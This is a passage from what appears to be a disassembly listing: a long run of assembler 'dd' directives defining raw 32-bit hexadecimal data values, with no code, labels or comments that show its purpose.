		dd 0CCD40028h, 1C71C840h, 0E42439F2h, 921EE0A3h, 0B0C0DB14h
		dd 33D1F8D2h, 1980071Eh, 0A348C2A4h, 1A001845h,	1697BF86h
		dd 79EF0932h, 0AC03DBF8h, 9017BEF2h, 8402B534h,	45A69EA3h
		dd 3DA88338h, 91E8A76Ch, 0B35059F2h, 2248390h, 47702CCDh
		dd 0EDEE5122h, 60C32C52h, 2B582458h, 817CE1E9h,	0CD1513B8h
		dd 9930850Ch, 0D414F3E9h, 1090A024h, 493B2455h,	51F90A7Ch
		dd 9061BFF8h, 41F65803h, 404BE294h, 944986E0h, 9B7D241Dh
		dd 3658F024h, 0B12D1FAEh, 0D9F2C44Dh, 4FACD2C2h, 67639860h
		dd 3A24A848h, 1498BE77h, 19E8FB87h, 3208AF2Bh, 51030C70h
		dd 11D1F0D2h, 0BC617C61h, 61E440E6h, 1EA498F0h,	0A7CF3E0h
		dd 17B4456Ch, 84200470h, 438CC1DDh, 1AAC345Bh, 1164A8CCh
		dd 3F8D3283h, 1C43ACC0h, 0C30214E2h, 0E434E01Ah, 0D899669Dh
		dd 4431286Bh, 622418A8h, 6271C434h, 9DEF08A0h, 30E0C861h
		dd 7B3163E4h, 0FE07683Eh, 57FDC88Ch, 2D584F08h,	82A30A0h
		dd 90C09683h, 0B9212810h, 2CBF31B4h, 41C14D10h,	4007BB94h
		dd 92B5C7ECh, 0D76654F8h, 30B0E7A8h, 0C408BBA4h, 18DC2904h
		dd 792B90Fh, 244120A1h,	388FB15Fh, 0A483B415h, 98378573h
		dd 4843209Dh, 7944E1B3h, 2860B861h, 32F0982Ah, 3FB04FB5h
		dd 0F524A0C1h, 64088D72h, 0AC548B8h, 0B7A0D9D3h, 9D0408Bh
		dd 0BF3DC882h, 0FA3B2C40h, 782C8090h, 9A0970B4h, 2C088E63h
		dd 6432E054h, 93FB2847h, 10B6345Ch, 4085361h, 68B90FB8h
		dd 0E018BD32h, 4E84A440h, 0DC0030F1h, 0E6FC2451h, 4FA85CC8h
		dd 0A4049509h, 0D6A483F5h, 0BF1814FCh, 0EC52F066h, 595A8483h
		dd 39B8EA50h, 993A8515h, 968CC314h, 89E260h, 99900A19h
		dd 3870044Ah, 31B61178h, 7928A1DFh, 1D1CEE69h, 96B995DDh
		dd 3A2C4C6Fh, 7B298450h, 0C401839h, 28AC26Bh, 0B9EF4EFFh
		dd 48416D45h, 6A24648Dh, 2494D85Ch, 48344C5Bh, 0E412B412h
		dd 0DC0CBC1Fh, 5071106Ch, 0A37EC468h, 289E7A8h,	49C883E4h
		dd 0F4280FB8h, 0BBE46C2Ch, 48D77139h, 19A76003h, 0C00BA62Dh
		dd 1C9FB299h, 81A10448h, 0D341C8C0h, 0B8124924h, 60C09AE4h
		dd 12A38D97h, 49E36344h, 280201F4h, 0CB86788Ah,	642E80FAh
		dd 2C24349Fh, 8B39E58h,	91AFD0FEh, 201F7516h, 24A8D07Fh
		dd 0B48D4224h, 7C80E714h, 2C452C24h, 4F4C309h, 2881C640h
		dd 0C0BD1824h, 0A6ACB589h, 0B21FB496h, 6349927Ah, 40140496h
		dd 95234CC0h, 0C770C93Ch, 0FCCC0840h, 0FD0B08C6h, 21D616D0h
		dd 5E142CDBh, 0E485AA0Ch, 25195064h, 0F489FB39h, 0A6235401h
		dd 0A896DA14h, 11DC841Eh, 790A2E10h, 18F050F3h,	0EC4340A2h
		dd 2908ED61h, 882CDB22h, 5D83C6A0h, 309B3C2Ch, 6647A8A1h
		dd 0A18D5091h, 2C67B901h, 0B040125Ch, 0A07494CBh, 0C05F52ADh
		dd 0D8AF99C8h, 582CE49Fh, 0C9700467h, 0D4AD1896h, 5AF93068h
		dd 64998905h, 0C4C1E1CEh, 486354BAh, 33C50581h,	0D9C050A3h
		dd 0DCA05927h, 20B00781h, 0E8094228h, 1CA41EEAh, 0B28C0B04h
		dd 2CA0531Bh, 99A93E1Ah, 0C01E3B8Ah, 732A58CCh,	8F74B608h
		dd 540E0817h, 16301F1Ah, 2A600580h, 4C30FFDEh, 0E4602EC8h
		dd 0C8AA0C31h, 9C75E1E8h, 7C727021h, 8049E9CFh,	85592CA1h
		dd 12708D1Dh, 842F38F8h, 0B2547035h, 7344A861h,	0D73A29B9h
		dd 37B3C080h, 0E8A82D5Ch, 3C00E399h, 7EF03D2Bh,	0DC65C2h
		dd 0CE533B27h, 0CD9FE9FDh, 289F300h, 0BD0128D5h, 14345297h
		dd 417DE71Ch, 8C0E8715h, 2C09CC22h, 59DE5D01h, 53D05CFEh
		dd 7AF9FCD1h, 3AD1C48h,	0F4AF441Ch, 8E889F6h, 3D7B2992h
		dd 0F2CB63Ah, 36921h, 1D38D488h, 204B5244h, 457C5000h
		dd 89F746C5h, 3BDBE220h, 13A907Dh, 81548229h, 765BC9A6h
		dd 80D0BFB7h, 7CDF7D87h, 56E05D32h, 6A036CBCh, 0F085BBB3h
		dd 86A2A00Ah, 0F4401066h, 60D17D4Ah, 0C9428043h, 0EEFEDF7Ah
		dd 5C1EB874h, 1C1FA4A1h, 9CFE354Eh, 0A0209819h,	440018BAh
		dd 6D5CE003h, 9D002ACCh, 5D2BF9B5h, 2FEAAF4h, 0DDF8DFDCh
		dd 9CB9D29Ch, 8EF1DC6Fh, 1062C9C3h, 14600330h, 853CDF49h
		dd 0EE20D878h, 7043153h, 0E0F4A708h, 0C850BA9Ch, 0FA74D9F8h
		dd 0DF8BD19h, 35E00F80h, 94BF29DDh, 41B90138h, 0CDF964h
		dd 0CD97B502h, 0BC8CE68h, 546603ECh, 0CB850B4h,	9DFB2230h
		dd 771470F0h, 0A0A45D2Ah, 243119D0h, 3E2050CBh,	0D04CAC9Ah
		dd 0EA06F814h, 2D1950Ah, 3FE22828h, 0E85C14A8h,	0F842E479h
		dd 0E61FDE80h, 30DF5477h, 0B863A8FEh, 2F3F408Ch, 0FA18809Ah
		dd 46A28C0Dh, 3CE02405h, 0E4185188h, 7286AB7h, 1048F8F1h
		dd 754471Ch, 0D6518794h, 3C620D78h, 0C0501D50h,	68A35FE9h
		dd 0E004AE98h, 5881F8A5h, 9E8E32C7h, 4822A088h,	0D360BC21h
		dd 24B1E3EBh, 1DA85C5Eh, 407829E1h, 0BAFBEF1Eh,	0E2C80A61h
		dd 140E77EAh, 30DE584Ch, 0CE82505Dh, 0FD032BA3h, 8570013Ch
		dd 80154F29h, 1CCFA2C8h, 0FD9D38h, 0EF3D108Bh, 1A7CFE66h
		dd 5D021203h, 0F9351F39h, 0BBF2674Ah, 1432B078h, 42DCA8F4h
		dd 2A13027Eh, 0FFD61A1Dh, 38CFAC40h, 0D0275D3Fh, 0BC0C61C2h
		dd 89A9D1Bh, 7840603Dh,	3869A61Dh, 0A13E4AF0h, 0C83E3C35h
		dd 4E02E070h, 0A24968h,	0AF306205h, 1DD82CFEh, 0E4117908h
		dd 0B918419h, 2688B01h,	80D7EE44h, 22B08009h, 91FE5FF5h
		dd 0FFA96028h, 51DFD5FAh, 2B25ED44h, 0B70FB0CBh, 41F2E495h
		dd 0F5EE200h, 883C5C2Bh, 0E3CFDF18h, 905A8251h,	87C1428h
		dd 626FB4ABh, 99FDC02h,	0A0F44894h, 0BCE4A22Ah,	0D15072EAh
		dd 0A40A6DA0h, 4C9A7356h, 71B2F667h, 61D4907Fh,	4C5C9857h
		dd 284C2476h, 5AB073B0h, 8C923C75h, 16309069h, 0C89A3ABCh
		dd 0F0A02818h, 58988002h, 1CCE7D16h, 747E0438h,	8910601Ah
		dd 2B1F9E22h, 0A02C9D48h, 0FE70C8Eh, 87F96769h,	39C82FA5h
		dd 0AEB120A4h, 0B821CEA2h, 222C5925h, 9698C07Ch, 0BEE4DFAh
		dd 848287F5h, 3C965C09h, 1B96310Ah, 0A28DCCD4h,	641C78A1h
		dd 7123E247h, 8442802Ch, 0FD2C2AE8h, 5C0404DEh,	0B8CEF108h
		dd 5B200506h, 6224897Ch, 7D009806h, 0FCDD70AFh,	0BC0E4CBAh
		dd 0EE9144E0h, 214F8A4h, 0E0C8B61Fh, 169BE77h, 87F65B7Dh
		dd 60C64022h, 0C30466ECh, 89C23CDDh, 0B402AC8Eh, 16B4686h
		dd 0B5047048h, 5B5D3C12h, 74CB283Ch, 0C062B8D8h, 0DF095511h
		dd 0F46266BCh, 0E2C37308h, 4080895h, 6CD0D0h, 0A3249E70h
		dd 0DD39F3F2h, 6020656Eh, 6AFE3488h, 0E0FA00A6h, 0C490992Ch
		dd 47016B07h, 0D4E49A32h, 308081E5h, 2A9914BFh,	682FB15Bh
		dd 3E66540Eh, 20DE9E18h, 69720D10h, 9C4F5800h, 0C68CB2CFh
		dd 0C18E00D1h, 0B7261B23h, 0E06739DEh, 1F101498h, 1F12BA4Ah
		dd 0F8487FEh, 0BC945B75h, 1880663Dh, 7E24961Bh,	80A05986h
		dd 8C18FFD2h, 4051B461h, 3A4287h, 84FB1C83h, 444CCA2Ah
		dd 94A8E299h, 1A006A1Dh, 8346EA87h, 78A23EC4h, 27290AA6h
		dd 8E24880Dh, 84CB2A16h, 9953F270h, 0CCB4004Ch,	908E831Eh
		dd 79591DA2h, 7F0400A3h, 65268FAFh, 0BE99FF0Ah,	66609CD5h
		dd 0E0E2C4ADh, 3E40F034h
		dd 0A2107448h, 6A007F99h, 6E936B8Dh, 5417C823h,	0D2D08Ch
		dd 763134F5h, 0B34E01ACh, 0E9CBF304h, 0D5C1CF6Fh, 0A2702EA9h
		dd 48F4A0BBh, 0E0EAA026h, 12B406FDh, 0E0835604h, 582C7A10h
		dd 351AE180h, 4B11FA82h, 63108467h, 8FB0BDFh, 8DDD801Bh
		dd 1FD4C86Fh, 746818h, 2D0BD10h, 32308AEDh, 50C6300Dh
		dd 0B6200E6h, 0F4DC8029h, 0DE004BBEh, 0BD2C2DD2h, 1C3ADE8h
		dd 0C7516EF7h, 872ECB41h, 0A6F34A18h, 89609387h, 50FF9C7Bh
		dd 255FB44h, 0D4E26D2Ch, 848F7377h, 377B6F40h, 0AF00CD6Ah
		dd 0AC91B8D1h, 6962C3h,	0D6BF4E72h, 9A8BCC41h, 32C68704h
		dd 98905C42h, 55DA1Dh, 107E80E9h, 0F60FD8D3h, 23E27805h
		dd 0B44381E6h, 0D008265Ch, 0E58FFB9h, 5948EFD8h, 3C20E589h
		dd 0E99C1715h, 873CAE01h, 88C7E813h, 6468B1CBh,	378CDFCh
		dd 2A0910D2h, 0BBE0FF06h, 3615F601h, 940CF5h, 0BE09E681h
		dd 84DEF114h, 88809290h, 0E900796Bh, 5E4609EAh,	53CB419h
		dd 0FCCD2567h, 1EE800C7h, 848A2BFBh, 1B535F00h,	0E3F9ED7Ch
		dd 3CD000Ah, 0B9922288h, 0CB0043D3h, 22C15B6h, 0F97826CCh
		dd 98427450h, 43E379A6h, 35821041h, 409AA91Eh, 0BA9C3443h
		dd 0E2002EAFh, 4207C6CEh, 1D371CD0h, 0F09EE8Ah,	608064CDh
		dd 416B28C9h, 0E92B0186h, 9A3FBF17h, 40B108DCh,	0C200312Dh
		dd 7E0F52F8h, 2D65CB2h,	736F104Fh, 0D4401B13h, 7B02A74Dh
		dd 8DC79A38h, 2C634Ah, 0C3F78518h, 95C6E665h, 0D1F12100h
		dd 0E502B90Eh, 60B8728Ah, 0D0BFE9F2h, 5A092069h, 91132C51h
		dd 8835CC54h, 13AD23CCh, 3BB53ACBh, 2638084Ch, 272440BDh
		dd 0F4E02CA7h, 14A87624h, 622EEF80h, 733A2D28h,	44B70783h
		dd 43F10B5h, 80389AFCh,	912D186Eh, 6D8A0051h, 0E5CFA1Bh
		dd 631E42C2h, 0AC3929FBh, 0F4286879h, 0CD004D90h, 0D2C6CC47h
		dd 7AE57AAFh, 0BE140344h, 351DF975h, 9C1AC026h,	2C9D215Eh
		dd 6909AB87h, 0E51F3F00h, 28364D68h, 0D9240848h, 0F8F4C000h
		dd 0E6105F83h, 8684DDA8h, 0A70C0003h, 0F8CD65F8h, 0B4FCC0AEh
		dd 0AD620D8Eh, 0EE2D7903h, 8325AA50h, 8F42C8DDh, 43C50018h
		dd 0B214A288h, 4A4C6A9h, 9AACE300h, 0B9655398h,	78EC9176h
		dd 7863582h, 0DE66FBBBh, 0A75F418Eh, 6380C3C0h,	9A006FD3h
		dd 22751286h, 0B1999EF2h, 72F57088h, 3EC70086h,	326E2C66h
		dd 9EF8436Bh, 0B37B10B1h, 0B620ECBCh, 0EC00D93Bh, 0E2B3F783h
		dd 0B8701235h, 0D41A506Bh, 6ABB0C2Bh, 0DFB80338h, 28817500h
		dd 1FC90705h, 0A2F12C1Ch, 1A30028h, 0B4B1AAA5h,	0EE378400h
		dd 0FDAFE061h, 3B913A56h, 15DAD492h, 0F401BCB0h, 3C42B6FFh
		dd 0E4342029h, 409A352Ch, 105C7024h, 802A27E9h,	666F60BBh
		dd 0F2410AAAh, 98D4F3F8h, 0B91B101Ah, 1E7A3C1Dh, 18E2C40h
		dd 0EFD4B0h, 0FC11AEB3h, 9E724D0Bh, 0F4C81200h,	448419F3h
		dd 15F0C101h, 407F79D5h, 0D96B51ECh, 0DF07B1E2h, 0E9A826Ch
		dd 0F0A1C013h, 75794B2h, 409158F3h, 3AAD00B8h, 100B0DAh
		dd 0DBC8C19Bh, 9CDEB05h, 0C07651DEh, 0C90F9600h, 0D550A244h
		dd 0D603E5F6h, 76485227h, 62BCE89Bh, 65F100B0h,	0B7770AD7h
		dd 12C3F43Eh, 0E03AE9EBh, 72A3C5CAh, 0F398000Dh, 791BB669h
		dd 7D004F45h, 2F33C183h, 30C66652h, 20586EF5h, 2D1E9424h
		dd 755E0DD3h, 8903B82Ch, 0E039E833h, 0C46D11Fh,	54317FF9h
		dd 0ED03DB30h, 5286A516h, 0E06BF373h, 0EDCC452Fh, 12CE2080h
		dd 1BC17514h, 5B21FF00h, 366D0961h, 0FF8011Fh, 0A7468597h
		dd 0F2808004h, 0D4424F74h, 0EA20065h, 572B1DD0h, 58015F6Dh
		dd 0AA630255h, 0FAECA0E8h, 0D44C0022h, 57829364h, 0EE006FA2h
		dd 8F824D6h, 3399085h, 5651FB1Fh, 6EB033B5h, 9C0E2AB1h
		dd 862B3F68h, 7200F3Ch,	0E16BDC60h, 6D33D0C4h, 0A900AF88h
		dd 0AAA2559Dh, 8332FEh,	19C82616h, 2CD41F4Ch, 0CAB7810Ch
		dd 299FE8E4h, 882BF5h, 0A5631533h, 21424FE2h, 60B0A876h
		dd 0BD141F29h, 0D6C00F0h, 2C2B9A70h, 4B858B00h,	0F7662546h
		dd 93C62A08h, 36F20260h, 4D197234h, 3089A18h, 0BA95117h
		dd 0AA9329FCh, 0C4A0B4A8h, 39996D06h, 75990D02h, 0D2B0A4h
		dd 0EE96A8DEh, 0FC4A9E8Eh, 925FA900h, 6B94082Dh, 0EBA300AAh
		dd 77411518h, 0C101AB3Bh, 0A61F010Eh, 2099E48Eh, 0FC430EBAh
		dd 1E7DD70Ah, 917CED00h, 0E2EE981Bh, 0A92F0160h, 7B9670A3h
		dd 0F992F5A0h, 34305621h, 0B7C111Dh, 686A9E3Ah,	644C306Ah
		dd 0C0C60017h, 4D9684CBh, 57860748h, 0F0780732h, 5FFC3046h
		dd 9B22E800h, 164A8518h, 0C68F00FDh, 3A0C638Ch,	0BA06DFCFh
		dd 0BD3912B1h, 0D04B0079h, 34498360h, 0C2705496h, 5853CA3Ah
		dd 0AE2060BAh, 3FBB8388h, 9780D6DFh, 0E39C5044h, 34026CA2h
		dd 398A5E1Bh, 373C6071h, 4A560265h, 0CC5F0E46h,	8A70AC8Ch
		dd 0AB02F443h, 8E7CC82Ah, 95A1C30h, 73C34BA7h, 0EE45AF84h
		dd 26615387h, 0E620C905h, 4463B60h, 304B9800h, 0AC1B95C3h
		dd 10A09730h, 3852849h,	27ED2B18h, 9149D50h, 9063F4h, 3C8832E9h
		dd 5BE110Ch, 8F10DEB3h,	18280F01h, 0D4BBAAh, 0E20BB2C0h
		dd 0F61E3204h, 2AC016D9h, 0B743E4DDh, 0FD5F378Ch, 0FE59E0D1h
		dd 0B97C8492h, 50057FAh, 39A46779h, 0A8F332EAh,	0E27FA27Ch
		dd 56E62133h, 0C030F49Ch, 17CAA70h, 0FF978804h,	0CD7D1E0Ah
		dd 9CE040F5h, 47003553h, 0A9304A6Ah, 7125BC3h, 56EB17EEh
		dd 7749408Ch, 6260CBA8h, 461EF4C0h, 0CD7BA5h, 6A18AEBAh
		dd 146D6C06h, 0D56E4B00h, 0EA8CD7BEh, 0A350C048h, 95BFA6FCh
		dd 0A8AB0A29h, 19854180h, 863C552Bh, 60219960h,	3F4CA2D9h
		dd 1C0341EBh, 9E3AF245h, 3121B175h, 21B2671h, 0EE74F0C5h
		dd 82E858BBh, 4000C945h, 6523FAB9h, 9213EB83h, 2E38006Ch
		dd 0A84BED9Fh, 39011CB5h, 26DBFCBh, 4080ABF4h, 226ED044h
		dd 7C3B23DCh, 4100F5D9h, 0DDEB3A70h, 0FA207Bh, 0A2A78474h
		dd 0B3AF6A19h, 0C8C91B76h, 848817B2h, 20A75A1Bh, 180DE7h
		dd 624E5B50h, 35327737h, 0AC490228h, 0A1A2A509h, 0FC800A2Fh
		dd 93AF4B80h, 741D542h,	0E8A1D78h, 5D0DF0CDh, 4DEEA9B5h
		dd 0E3FD6B00h, 0BDC14AB0h, 1DD92692h, 0A65C6010h, 0DB137CAFh
		dd 4023C548h, 16210793h, 0C011E43Dh, 22EB7F1Ah,	0FD1C5501h
		dd 31458A52h, 3973509Eh, 0A47728h, 0D6A954DBh, 4D9A0371h
		dd 8800C87Eh, 5D911CFh,	0C135FAh, 0DD1CB47Ah, 43AB13E3h
		dd 19D79503h, 901AA7F5h, 1CEBBD70h, 3F38E20h, 5CEC8A8Ch
		dd 63850ED7h, 461880A7h, 69037D94h, 0A6DDFA82h,	45192B2Fh
		dd 6F0FFC04h, 0E08447C9h, 5A675179h, 0B9EF0076h, 85FE142Bh
		dd 7D03CCFDh, 9060A747h, 3838003Eh, 19137E46h, 5715C965h
		dd 0E2343D25h, 3F4C97C4h, 0B291228Fh, 70308F80h, 3300FC8Ch
		dd 86AACC5Ah, 7C4C6D2Fh, 0E4EA2837h, 34C6210Ch,	358A1004h
		dd 2107BA44h, 1841F6B0h, 0BD082DD2h, 11344122h,	36BD4BEh
		dd 0EEA98F33h, 0CE6AE1CBh, 228D0C41h, 0D3423608h, 30F74B14h
		dd 0D2184230h, 83006265h, 4E9080FCh, 120428C8h,	67926F0h
		dd 197601F8h, 21842BF4h, 0DC04086Ch, 2450EFCDh,	817815E0h
		dd 0F3609888h, 73CC3210h, 0A1B42488h, 3057FF0Ch, 2E8A3CFAh
		dd 0B40A247Ah, 7F040C0Ch, 0A0447793h, 388210Fh,	5DCC2441h
		dd 7FFF6080h, 0E4E88467h, 619DC380h, 288719EFh,	28F1303h
		dd 0BAE3D561h
		dd 0A7605A38h, 590087DDh, 95D99055h, 0AF103Eh, 7F86CF8Ch
		dd 0D88516C1h, 74AD3Fh,	47580CC6h, 610FD7h, 0E28CD6BCh
		dd 0FB59A608h, 0C2EE9005h, 4F80219Ah, 6F4371B9h, 128388A3h
		dd 18381F92h, 0D849004Fh, 0DEE676E0h, 529D03E5h, 92A21E96h
		dd 0F52EA100h, 58CF54B2h, 7BCA80FBh, 4898867h, 3B3033h
		dd 0C3CDDBA8h, 0FE23CE07h, 8EB488C1h, 1C4A6CCFh, 4AEC93C0h
		dd 0F2288CE9h, 29005824h, 2FD9C78Dh, 30691F8Eh,	0D7505510h
		dd 4B03CDBBh, 247BCC12h, 7E580005h, 11726420h, 217259A7h
		dd 0CD606F00h, 0B5BDFAABh, 0A16620E1h, 4DE5A407h, 50AC5869h
		dd 0B0B702A5h, 1D2E2332h, 13FE14A0h, 0F8144BD4h, 3B348275h
		dd 29BD8083h, 0ED8573AEh, 28F43D13h, 0C088DF14h, 868F7A3Ah
		dd 230F4A0Ch, 1B1DE660h, 0C700EF69h, 0BED8AADCh, 0D93627h
		dd 0A6F7D4FEh, 4066641Fh, 9154B8C1h, 9880E244h,	1BD8C3A1h
		dd 0F800EEB7h, 74EABAC7h, 5A91EBh, 5EA2FFFBh, 60A081CEh
		dd 81EF6E32h, 0BC68A083h, 291E5AF4h, 40406628h,	0D1A7A05h
		dd 0F06B700h, 0A412C6AFh, 22023BE0h, 8058131Eh,	721FB61Ch
		dd 5E2870DFh, 8E3CC096h, 79C813ABh, 0B558E91Fh,	18568718h
		dd 0A0929B70h, 0BE00296Dh, 0CC38F159h, 816ECF74h, 5D1DD40Fh
		dd 0EBF37F09h, 731825ABh, 7C21AC86h, 0FDCF30F4h, 459B0B18h
		dd 340D2A01h, 0D1FFD321h, 0D773E887h, 0C5844AA3h, 0F37C8007h
		dd 0FC600DE6h, 597BB390h, 9C4C044Eh, 909AE047h,	0A56C4948h
		dd 74B41F12h, 1820BC49h, 0D2797Ch, 6BF2A9F5h, 0E299ADE8h
		dd 270733E8h, 0F925A1EDh, 0A79D28C0h, 3B489276h, 1201E373h
		dd 0F54C23D3h, 7527E422h, 0A36DA0CFh, 3631CAh, 2BA7891Ch
		dd 94DFC474h, 0E877AD7Ah, 3A8C6012h, 7E4C1Fh, 0A71DCCDCh
		dd 28AB55h, 0DF00BC0h, 0AF8414B0h, 0A8D3DF12h, 657B1041h
		dd 8BC53470h, 0E602E4h,	4175688Ah, 0F29308B5h, 0D20A1202h
		dd 60317F33h, 0CB1A1Bh,	41FEF7F6h, 0A359BA08h, 2DAC1E0Eh
		dd 7B7AE0A2h, 715AD51h,	0A9E05A8Ch, 2982F104h, 0F1A1C428h
		dd 1B5F6200h, 0EF0A567Bh, 0C08A1BEAh, 80A07074h, 433D1914h
		dd 30FD2926h, 839F1285h, 302027C4h, 92E0Eh, 22FB9682h
		dd 2112F16Bh, 42E43E01h, 0C373C91Ch, 8C18BF40h,	0EEF654h
		dd 2EAFEBDCh, 2314A805h, 98062933h, 9A5890ECh, 0F96C3844h
		dd 360369B8h, 0FF4395E9h, 0F6C67007h, 0DB202D85h, 33BF0D63h
		dd 0B7B2189Eh, 5B9403EDh, 828B3A29h, 56A0502Eh,	0B63CB300h
		dd 1725B1h, 6C1581Bh, 44466961h, 3D6F0807h, 0B1C024B3h
		dd 45298Eh, 0E2F98FD5h,	0E7EE6D0Dh, 92932603h, 0B8068469h
		dd 0F6E02A79h, 0A130F05h, 5FE64282h, 0E306A0D2h, 1A5BB81Eh
		dd 717C00F8h, 0BF031C36h, 0B70CF19Dh, 78848CC5h, 0A6AE0361h
		dd 0B3CED7EFh, 910060E3h, 0EB77CD0Ah, 0E2D0AEF7h, 91B70B13h
		dd 0E5839D1Ch, 8AA82019h, 0B4A0882Dh, 561ECACCh, 3DC031BCh
		dd 4573EFD3h, 623605D8h, 4F0A2072h, 5C09784h, 5FC8AD6Dh
		dd 1D3D6377h, 0F34200B6h, 7E3112A3h, 0E43050F7h, 0C7257F19h
		dd 2CBAB738h, 930C48B1h, 0E8A99FAAh, 0BDD806C9h, 10C57631h
		dd 0F24D507h, 0EFDF191Eh, 0D0E381EEh, 0EC4085FAh, 741D12h
		dd 0C908677Ch, 3B51BE54h, 76AE2307h, 0D510972Bh, 618D77DFh
		dd 0EC1DD92Ah, 73318329h, 3CC903Ah, 0A3416168h,	59121E1Ch
		dd 34203D21h, 23CDC29h,	0D36BFE4Eh, 4C4B15D0h, 0B8EDA5E8h
		dd 0D6008871h, 4CF5A256h, 612E6E1h, 0BA0E8C42h,	0E4F0519Ah
		dd 31151178h, 808EBABh,	40E6F6AAh, 0EAE1D88Bh, 9601B701h
		dd 0F1D54F3Eh, 416AB03Bh, 20F22914h, 927200A0h,	7085E21Eh
		dd 5844077Eh, 0B0DE8A09h, 3C3D9CAEh, 308DC700h,	0B2D16294h
		dd 10D8AA12h, 127E7D04h, 21E0592Ch, 0C4F4EB38h,	0A0A0201Fh
		dd 0BD01CD65h, 17A3ECD3h, 9F217A5Eh, 994BE010h,	6D8C00E8h
		dd 8A46856Eh, 6A49B061h, 12B70E7Ch, 8784801Ch, 0E0AE05h
		dd 82EB3CE3h, 2A96D117h, 80201449h, 34D7BFA5h, 1A3A246Fh
		dd 7BC98278h, 0C890F4CAh, 3018414Dh, 32106CC0h,	0FC43525Ah
		dd 0EB52F906h, 7B0ED997h, 0E1BDA21Dh, 0B13F2370h, 0DE8F5081h
		dd 0D8362F41h, 990C0A39h, 102D149Eh, 2FCFA15h, 32822792h
		dd 3098AB81h, 0B1CA21DCh, 3F8748B9h, 0ABD0BA30h, 12576079h
		dd 11DB5Bh, 71E1518h, 0C302EACh, 0D8323833h, 0A0DB00B1h
		dd 0DD088F65h, 0FBF02CF9h, 1C26E38h, 1BCC96E4h,	0C9ED6D68h
		dd 8384719Fh, 7936F9D2h, 6B20C3F0h, 3BBBB600h, 8D4BFFB5h
		dd 906A0925h, 480E31F2h, 210D8480h, 4902B7DFh, 35D87536h
		dd 0F08A5Fh, 1530435Ah,	0CEDE948h, 3008A3EDh, 0A4B14D40h
		dd 2C284845h, 0C007191Dh, 89A3F01Dh, 0ABFA4BB9h, 1BE819C4h
		dd 0AB59823h, 900C5C18h, 0AB94C5E0h, 2C182086h,	1F2CCDE1h
		dd 16180AE7h, 0C7540A18h, 0A1900A0Ch, 0D2300818h, 81A78442h
		dd 936AE30Ch, 0CBC6195h, 0AE235A08h, 1DA321B8h,	49FE980Dh
		dd 3CA018F4h, 0CA0AFC4h, 0EF44EA78h, 9421FFD7h,	0FD6C1888h
		dd 30DB4D02h, 0A02C6216h, 4424A0CCh, 0D9C92634h, 9C0A0110h
		dd 659AC271h, 3BCB6058h, 3300A491h, 65167A5Dh, 3C5F0598h
		dd 40806925h, 2F3561C4h, 0CB73F5CFh, 0B60BFC98h, 2431B7h
		dd 0FE8F725Ah, 0F6ECB3h, 19D0E9F5h, 0A0A5BB9Dh,	90043B0Eh
		dd 440F93B4h, 6BE70189h, 0C6DEF199h, 672B0008h,	0FDDFCA7Ch
		dd 0FF0E2521h, 80F5F80Ch, 3A4E9A0Bh, 2FB78B7h, 63380A82h
		dd 0F84033CEh, 3D0FD31Ch, 0A0CCD49Dh, 38CE994h,	3F0F0074h
		dd 2632D896h, 2C26E651h, 0D4002B1Eh, 9E9C05F3h,	269F61Ch
		dd 8FAE023Eh, 1CB36ED5h, 1EE7C2h, 712AA627h, 4502E78Dh
		dd 6778EF00h, 0AFCDC7ECh, 89CB3D83h, 4F7701FDh,	3D36580Ah
		dd 0E1D08018h, 0B25B638Bh, 34951C1Dh, 4A2404AFh, 0C7C0C3E7h
		dd 28070B83h, 5DEDE00Dh, 0AA0582A4h, 558A0001h,	1EDEF989h
		dd 33142974h, 0C15C989Bh, 0CD62434Dh, 1E313830h, 383C46h
		dd 5CEA17Ah, 0B13EFDE3h, 5A1B80B0h, 0FB119BD0h,	78350004h
		dd 59D76689h, 0E26026BBh, 0BFF7A388h, 0ADE10031h, 42A27FC3h
		dd 0FF034486h, 0BD5A3420h, 0AF2800FDh, 0A4589FC5h, 7F00BEDDh
		dd 0FE93B8B3h, 52D0ED0Ch, 0E1E158F8h, 18C51A2Ch, 0B14C2CA7h
		dd 68D0F400h, 0A42DE9A3h, 431E0227h, 1158FC06h,	0E87FB480h
		dd 5D24A9ECh, 0FF023089h, 81CBD052h, 0BA9B05C4h, 546FC4F8h
		dd 1F7FCCE7h, 40908FEDh, 35955D41h, 1E0076FDh, 0D3588755h
		dd 0E85B065Eh, 0C30C0716h, 0D0113CFCh, 314DDE09h, 7460C924h
		dd 0E64D5CD8h, 0BC5B00C9h, 7937F90Ah, 0DE2AE6ADh, 7500C802h
		dd 0F5CEED7h, 0EC2A3F73h, 1C933D7Eh, 59BCB900h,	0BDA9D406h
		dd 0FBD7E61Fh, 0AB527700h, 0B87EC8E4h, 0DD1007A1h, 0B03A326Bh
		dd 0FE879386h, 68B5E201h, 3329FDF0h, 1C8ABFCCh,	0C04526BEh
		dd 101A59E1h, 0DC0CB937h, 58BA5FB4h, 0CE0C0092h, 1F8BAE9Bh
		dd 0D4F12546h, 0A3F81D0Eh, 1B9D4E00h, 0C66439F1h, 71843CF5h
		dd 4C396h, 8DB3AFE5h, 44AF6AA1h, 0A8F916E1h, 92048040h
		dd 15F303B8h, 5B50653h,	0ADC5F1A8h, 5F3EE703h, 88C881B3h
		dd 77BFE8h, 0DBB9C16Ch,	52F1D7CEh, 0F91A7000h, 86D6CFD2h
		dd 440B9F0Ch, 0F7EF9700h, 3A0EED71h, 0C07011DAh, 37657C95h
		dd 0BD910001h, 48A30E1Fh, 0F1F0FD27h, 17750200h, 0C5EEFBC2h
		dd 52A074Bh, 779FD19Eh
		dd 8006E78Eh, 0C24E896Bh, 0A75D4400h, 790C4276h, 3EB300CEh
		dd 2217F0D5h, 0E3034F73h, 84E75C58h, 0A934D8D1h, 0AEBE0068h
		dd 9AB2E1DDh, 0C81D0793h, 5C8085F4h, 26F1C2F0h,	0BAB600D1h
		dd 3D3F331Ah, 23007BAEh, 0AC0E1DCDh, 0E66924h, 3C88A4F4h
		dd 0BEE89D51h, 47AB5617h, 94D85300h, 1D29CCC5h,	9655CEh
		dd 18AE1FB6h, 0D90070DBh, 0D51773C7h, 74EAF206h, 2A451F79h
		dd 185E8CDh, 72920A77h,	2046E132h, 5D005063h, 0FA199368h
		dd 8F3621h, 0DB69A6ACh,	13A76745h, 7B59438h, 6F493055h
		dd 0F2359AC0h, 275C00FBh, 5F814BDDh, 67005422h,	42F773CAh
		dd 19A5193h, 0A5F01149h, 0C4FBD6C1h, 2200AA4Eh,	76727D23h
		dd 7420EF94h, 0FA1600AEh, 0BB11891Fh, 28032C95h, 0D4F3FED2h
